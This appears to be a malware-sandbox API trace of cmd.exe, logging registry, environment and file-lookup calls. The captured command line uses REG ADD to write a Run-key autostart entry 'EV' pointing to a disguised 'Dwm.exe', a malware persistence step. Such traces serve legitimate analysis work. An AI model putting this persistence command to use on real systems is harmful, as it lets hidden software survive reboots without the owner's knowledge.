	[0175.583] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xa7c) returned 0x47a110
	[0175.583] FreeEnvironmentStringsW (penv=0x478bf0) returned 1
	[0175.584] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28ed08 | out: phkResult=0x28ed08*=0x44) returned 0x0
	[0175.584] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x0, lpData=0x28ed20*=0x18, lpcbData=0x28ed04*=0x1000) returned 0x2
	[0175.584] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x4, lpData=0x28ed20*=0x1, lpcbData=0x28ed04*=0x4) returned 0x0
	[0175.584] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x0, lpData=0x28ed20*=0x1, lpcbData=0x28ed04*=0x1000) returned 0x2
	[0175.584] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x4, lpData=0x28ed20*=0x0, lpcbData=0x28ed04*=0x4) returned 0x0
	[0175.585] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x4, lpData=0x28ed20*=0x40, lpcbData=0x28ed04*=0x4) returned 0x0
	[0175.585] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x4, lpData=0x28ed20*=0x40, lpcbData=0x28ed04*=0x4) returned 0x0
	[0175.585] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x0, lpData=0x28ed20*=0x40, lpcbData=0x28ed04*=0x1000) returned 0x2
	[0175.585] RegCloseKey (hKey=0x44) returned 0x0
	[0175.585] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28ed08 | out: phkResult=0x28ed08*=0x44) returned 0x0
	[0175.585] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x0, lpData=0x28ed20*=0x40, lpcbData=0x28ed04*=0x1000) returned 0x2
	[0175.586] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x4, lpData=0x28ed20*=0x1, lpcbData=0x28ed04*=0x4) returned 0x0
	[0175.586] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x0, lpData=0x28ed20*=0x1, lpcbData=0x28ed04*=0x1000) returned 0x2
	[0175.586] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x4, lpData=0x28ed20*=0x0, lpcbData=0x28ed04*=0x4) returned 0x0
	[0175.586] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x4, lpData=0x28ed20*=0x9, lpcbData=0x28ed04*=0x4) returned 0x0
	[0175.586] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x4, lpData=0x28ed20*=0x9, lpcbData=0x28ed04*=0x4) returned 0x0
	[0175.586] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28ed00, lpData=0x28ed20, lpcbData=0x28ed04*=0x1000 | out: lpType=0x28ed00*=0x0, lpData=0x28ed20*=0x9, lpcbData=0x28ed04*=0x1000) returned 0x2
	[0175.586] RegCloseKey (hKey=0x44) returned 0x0
	[0175.586] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e6a3
	[0175.586] srand (_Seed=0x5e22e6a3) 
	[0175.587] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64"
	[0175.587] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64"
	[0175.587] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0175.588] GetProcessHeap () returned 0x460000
	[0175.588] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x218) returned 0x47aba0
	[0175.588] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x47abb0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0175.589] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0175.589] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0175.589] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0175.589] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0175.589] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0175.589] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0175.589] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0175.589] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0175.589] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0175.589] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0175.589] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0175.590] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0175.590] GetProcessHeap () returned 0x460000
	[0175.590] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x479680 | out: hHeap=0x460000) returned 1
	[0175.590] GetEnvironmentStringsW () returned 0x478bf0*
	[0175.590] GetProcessHeap () returned 0x460000
	[0175.590] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xa94) returned 0x47b860
	[0175.591] FreeEnvironmentStringsW (penv=0x478bf0) returned 1
	[0175.591] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0175.591] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0175.591] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0175.591] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0175.591] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0175.591] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0175.591] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0175.592] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0175.592] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0175.592] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0175.592] GetProcessHeap () returned 0x460000
	[0175.592] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x38) returned 0x476620
	[0175.592] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28fb10 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0175.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x28fb10, lpFilePart=0x28faf0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x28faf0*="system32") returned 0x13
	[0175.593] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0175.593] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x28f820 | out: lpFindFileData=0x28f820*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd0000cd, cFileName="Windows", cAlternateFileName="")) returned 0x461320
	[0175.593] FindClose (in: hFindFile=0x461320 | out: hFindFile=0x461320) returned 1
	[0175.593] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x28f820 | out: lpFindFileData=0x28f820*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd0000cd, cFileName="System32", cAlternateFileName="")) returned 0x461320
	[0175.593] FindClose (in: hFindFile=0x461320 | out: hFindFile=0x461320) returned 1
	[0175.594] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0175.594] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0175.594] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0175.594] GetProcessHeap () returned 0x460000
	[0175.594] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47b860 | out: hHeap=0x460000) returned 1
	[0175.594] GetEnvironmentStringsW () returned 0x478bf0*
	[0175.594] GetProcessHeap () returned 0x460000
	[0175.594] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xac4) returned 0x47adc0
	[0175.595] FreeEnvironmentStringsW (penv=0x478bf0) returned 1
	[0175.595] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0175.595] GetProcessHeap () returned 0x460000
	[0175.595] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x476620 | out: hHeap=0x460000) returned 1
	[0175.595] GetProcessHeap () returned 0x460000
	[0175.595] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4016) returned 0x47cdd0
	[0175.596] GetProcessHeap () returned 0x460000
	[0175.596] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x128) returned 0x47b890
	[0175.596] GetProcessHeap () returned 0x460000
	[0175.596] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47cdd0 | out: hHeap=0x460000) returned 1
	[0175.597] GetConsoleOutputCP () returned 0x1b5
	[0175.597] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0175.597] GetUserDefaultLCID () returned 0x409
	[0175.599] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a357b50, cchData=8 | out: lpLCData=":") returned 2
	[0175.599] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28fc20, cchData=128 | out: lpLCData="0") returned 2
	[0175.599] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28fc20, cchData=128 | out: lpLCData="0") returned 2
	[0175.599] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28fc20, cchData=128 | out: lpLCData="1") returned 2
	[0175.599] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a36a740, cchData=8 | out: lpLCData="/") returned 2
	[0175.599] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a36a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0175.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a36a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0175.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a36a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0175.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a36a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0175.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a36a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0175.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a36a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0175.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a36a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0175.601] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a357b40, cchData=8 | out: lpLCData=".") returned 2
	[0175.601] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a36a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0175.601] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0175.603] GetProcessHeap () returned 0x460000
	[0175.603] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x0, Size=0x20c) returned 0x47ba30
	[0175.603] GetConsoleTitleW (in: lpConsoleTitle=0x47ba30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0175.603] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0175.603] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0175.603] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0175.604] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0175.605] GetProcessHeap () returned 0x460000
	[0175.605] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4012) returned 0x47cdd0
	[0175.605] GetProcessHeap () returned 0x460000
	[0175.605] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47cdd0 | out: hHeap=0x460000) returned 1
	[0175.606] _wcsicmp (_String1="REG", _String2=")") returned 73
	[0175.606] _wcsicmp (_String1="FOR", _String2="REG") returned -12
	[0175.606] _wcsicmp (_String1="FOR/?", _String2="REG") returned -12
	[0175.606] _wcsicmp (_String1="IF", _String2="REG") returned -9
	[0175.606] _wcsicmp (_String1="IF/?", _String2="REG") returned -9
	[0175.606] _wcsicmp (_String1="REM", _String2="REG") returned 6
	[0175.606] _wcsicmp (_String1="REM/?", _String2="REG") returned 6
	[0175.606] GetProcessHeap () returned 0x460000
	[0175.607] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xb0) returned 0x47bc50
	[0175.607] GetProcessHeap () returned 0x460000
	[0175.607] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x18) returned 0x478a90
	[0175.616] GetProcessHeap () returned 0x460000
	[0175.616] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x11e) returned 0x47bd10
	[0175.619] GetConsoleTitleW (in: lpConsoleTitle=0x28fb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0176.095] _wcsicmp (_String1="REG", _String2="DIR") returned 14
	[0176.095] _wcsicmp (_String1="REG", _String2="ERASE") returned 13
	[0176.095] _wcsicmp (_String1="REG", _String2="DEL") returned 14
	[0176.095] _wcsicmp (_String1="REG", _String2="TYPE") returned -2
	[0176.095] _wcsicmp (_String1="REG", _String2="COPY") returned 15
	[0176.096] _wcsicmp (_String1="REG", _String2="CD") returned 15
	[0176.096] _wcsicmp (_String1="REG", _String2="CHDIR") returned 15
	[0176.096] _wcsicmp (_String1="REG", _String2="RENAME") returned -7
	[0176.096] _wcsicmp (_String1="REG", _String2="REN") returned -7
	[0176.096] _wcsicmp (_String1="REG", _String2="ECHO") returned 13
	[0176.096] _wcsicmp (_String1="REG", _String2="SET") returned -1
	[0176.096] _wcsicmp (_String1="REG", _String2="PAUSE") returned 2
	[0176.096] _wcsicmp (_String1="REG", _String2="DATE") returned 14
	[0176.096] _wcsicmp (_String1="REG", _String2="TIME") returned -2
	[0176.096] _wcsicmp (_String1="REG", _String2="PROMPT") returned 2
	[0176.096] _wcsicmp (_String1="REG", _String2="MD") returned 5
	[0176.096] _wcsicmp (_String1="REG", _String2="MKDIR") returned 5
	[0176.096] _wcsicmp (_String1="REG", _String2="RD") returned 1
	[0176.097] _wcsicmp (_String1="REG", _String2="RMDIR") returned -8
	[0176.097] _wcsicmp (_String1="REG", _String2="PATH") returned 2
	[0176.097] _wcsicmp (_String1="REG", _String2="GOTO") returned 11
	[0176.097] _wcsicmp (_String1="REG", _String2="SHIFT") returned -1
	[0176.097] _wcsicmp (_String1="REG", _String2="CLS") returned 15
	[0176.097] _wcsicmp (_String1="REG", _String2="CALL") returned 15
	[0176.097] _wcsicmp (_String1="REG", _String2="VERIFY") returned -4
	[0176.097] _wcsicmp (_String1="REG", _String2="VER") returned -4
	[0176.097] _wcsicmp (_String1="REG", _String2="VOL") returned -4
	[0176.097] _wcsicmp (_String1="REG", _String2="EXIT") returned 13
	[0176.097] _wcsicmp (_String1="REG", _String2="SETLOCAL") returned -1
	[0176.097] _wcsicmp (_String1="REG", _String2="ENDLOCAL") returned 13
	[0176.097] _wcsicmp (_String1="REG", _String2="TITLE") returned -2
	[0176.098] _wcsicmp (_String1="REG", _String2="START") returned -1
	[0176.098] _wcsicmp (_String1="REG", _String2="DPATH") returned 14
	[0176.098] _wcsicmp (_String1="REG", _String2="KEYS") returned 7
	[0176.098] _wcsicmp (_String1="REG", _String2="MOVE") returned 5
	[0176.098] _wcsicmp (_String1="REG", _String2="PUSHD") returned 2
	[0176.098] _wcsicmp (_String1="REG", _String2="POPD") returned 2
	[0176.098] _wcsicmp (_String1="REG", _String2="ASSOC") returned 17
	[0176.098] _wcsicmp (_String1="REG", _String2="FTYPE") returned 12
	[0176.098] _wcsicmp (_String1="REG", _String2="BREAK") returned 16
	[0176.098] _wcsicmp (_String1="REG", _String2="COLOR") returned 15
	[0176.098] _wcsicmp (_String1="REG", _String2="MKLINK") returned 5
	[0176.098] _wcsicmp (_String1="REG", _String2="DIR") returned 14
	[0176.098] _wcsicmp (_String1="REG", _String2="ERASE") returned 13
	[0176.098] _wcsicmp (_String1="REG", _String2="DEL") returned 14
	[0176.098] _wcsicmp (_String1="REG", _String2="TYPE") returned -2
	[0176.099] _wcsicmp (_String1="REG", _String2="COPY") returned 15
	[0176.099] _wcsicmp (_String1="REG", _String2="CD") returned 15
	[0176.099] _wcsicmp (_String1="REG", _String2="CHDIR") returned 15
	[0176.099] _wcsicmp (_String1="REG", _String2="RENAME") returned -7
	[0176.099] _wcsicmp (_String1="REG", _String2="REN") returned -7
	[0176.099] _wcsicmp (_String1="REG", _String2="ECHO") returned 13
	[0176.099] _wcsicmp (_String1="REG", _String2="SET") returned -1
	[0176.099] _wcsicmp (_String1="REG", _String2="PAUSE") returned 2
	[0176.099] _wcsicmp (_String1="REG", _String2="DATE") returned 14
	[0176.099] _wcsicmp (_String1="REG", _String2="TIME") returned -2
	[0176.099] _wcsicmp (_String1="REG", _String2="PROMPT") returned 2
	[0176.099] _wcsicmp (_String1="REG", _String2="MD") returned 5
	[0176.100] _wcsicmp (_String1="REG", _String2="MKDIR") returned 5
	[0176.100] _wcsicmp (_String1="REG", _String2="RD") returned 1
	[0176.100] _wcsicmp (_String1="REG", _String2="RMDIR") returned -8
	[0176.100] _wcsicmp (_String1="REG", _String2="PATH") returned 2
	[0176.100] _wcsicmp (_String1="REG", _String2="GOTO") returned 11
	[0176.100] _wcsicmp (_String1="REG", _String2="SHIFT") returned -1
	[0176.100] _wcsicmp (_String1="REG", _String2="CLS") returned 15
	[0176.100] _wcsicmp (_String1="REG", _String2="CALL") returned 15
	[0176.100] _wcsicmp (_String1="REG", _String2="VERIFY") returned -4
	[0176.100] _wcsicmp (_String1="REG", _String2="VER") returned -4
	[0176.100] _wcsicmp (_String1="REG", _String2="VOL") returned -4
	[0176.100] _wcsicmp (_String1="REG", _String2="EXIT") returned 13
	[0176.100] _wcsicmp (_String1="REG", _String2="SETLOCAL") returned -1
	[0176.101] _wcsicmp (_String1="REG", _String2="ENDLOCAL") returned 13
	[0176.101] _wcsicmp (_String1="REG", _String2="TITLE") returned -2
	[0176.101] _wcsicmp (_String1="REG", _String2="START") returned -1
	[0176.101] _wcsicmp (_String1="REG", _String2="DPATH") returned 14
	[0176.101] _wcsicmp (_String1="REG", _String2="KEYS") returned 7
	[0176.101] _wcsicmp (_String1="REG", _String2="MOVE") returned 5
	[0176.101] _wcsicmp (_String1="REG", _String2="PUSHD") returned 2
	[0176.101] _wcsicmp (_String1="REG", _String2="POPD") returned 2
	[0176.101] _wcsicmp (_String1="REG", _String2="ASSOC") returned 17
	[0176.101] _wcsicmp (_String1="REG", _String2="FTYPE") returned 12
	[0176.101] _wcsicmp (_String1="REG", _String2="BREAK") returned 16
	[0176.101] _wcsicmp (_String1="REG", _String2="COLOR") returned 15
	[0176.101] _wcsicmp (_String1="REG", _String2="MKLINK") returned 5
	[0176.102] _wcsicmp (_String1="REG", _String2="FOR") returned 12
	[0176.102] _wcsicmp (_String1="REG", _String2="IF") returned 9
	[0176.102] _wcsicmp (_String1="REG", _String2="REM") returned -6
	[0176.102] GetProcessHeap () returned 0x460000
	[0176.102] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x218) returned 0x47be40
	[0176.102] GetProcessHeap () returned 0x460000
	[0176.102] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x126) returned 0x47c060
	[0176.103] _wcsnicmp (_String1="REG", _String2="cmd ", _MaxCount=0x4) returned 15
	[0176.104] GetProcessHeap () returned 0x460000
	[0176.104] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x420) returned 0x461320
	[0176.104] SetErrorMode (uMode=0x0) returned 0x0
	[0176.104] SetErrorMode (uMode=0x1) returned 0x0
	[0176.104] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x461330, lpFilePart=0x28f3c0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x28f3c0*="system32") returned 0x13
	[0176.104] SetErrorMode (uMode=0x0) returned 0x1
	[0176.104] GetProcessHeap () returned 0x460000
	[0176.105] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x461320, Size=0x40) returned 0x461320
	[0176.105] GetProcessHeap () returned 0x460000
	[0176.105] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x461320) returned 0x40
	[0176.105] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0176.105] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0176.106] GetProcessHeap () returned 0x460000
	[0176.106] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x104) returned 0x47c190
	[0176.106] GetProcessHeap () returned 0x460000
	[0176.106] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x1f8) returned 0x461370
	[0176.127] GetProcessHeap () returned 0x460000
	[0176.127] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x461370, Size=0x106) returned 0x461370
	[0176.127] GetProcessHeap () returned 0x460000
	[0176.127] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x461370) returned 0x106
	[0176.127] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0176.128] GetProcessHeap () returned 0x460000
	[0176.128] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xe8) returned 0x461490
	[0176.129] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x461490, Size=0x7e) returned 0x461490
	[0176.130] GetProcessHeap () returned 0x460000
	[0176.130] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x461490) returned 0x7e
	[0176.132] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0176.133] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\REG.*", fInfoLevelId=0x1, lpFindFileData=0x28f130, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f130) returned 0x47c2a0
	[0176.133] GetProcessHeap () returned 0x460000
	[0176.133] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x0, Size=0x28) returned 0x474720
	[0176.133] FindClose (in: hFindFile=0x47c2a0 | out: hFindFile=0x47c2a0) returned 1
	[0176.759] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.COM", fInfoLevelId=0x1, lpFindFileData=0x28f130, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f130) returned 0xffffffffffffffff
	[0176.759] GetLastError () returned 0x2
	[0176.759] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.EXE", fInfoLevelId=0x1, lpFindFileData=0x28f130, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f130) returned 0x47c2a0
	[0176.759] GetProcessHeap () returned 0x460000
	[0176.759] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x474720, Size=0x8) returned 0x461520
	[0176.759] FindClose (in: hFindFile=0x47c2a0 | out: hFindFile=0x47c2a0) returned 1
	[0176.760] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0176.760] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0176.760] GetConsoleTitleW (in: lpConsoleTitle=0x28f680, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0176.760] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f438, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f3f8 | out: lpAttributeList=0x28f438, lpSize=0x28f3f8) returned 1
	[0176.760] UpdateProcThreadAttribute (in: lpAttributeList=0x28f438, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f3e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f438, lpPreviousValue=0x0) returned 1
	[0176.761] GetStartupInfoW (in: lpStartupInfo=0x28f550 | out: lpStartupInfo=0x28f550*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0176.761] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1
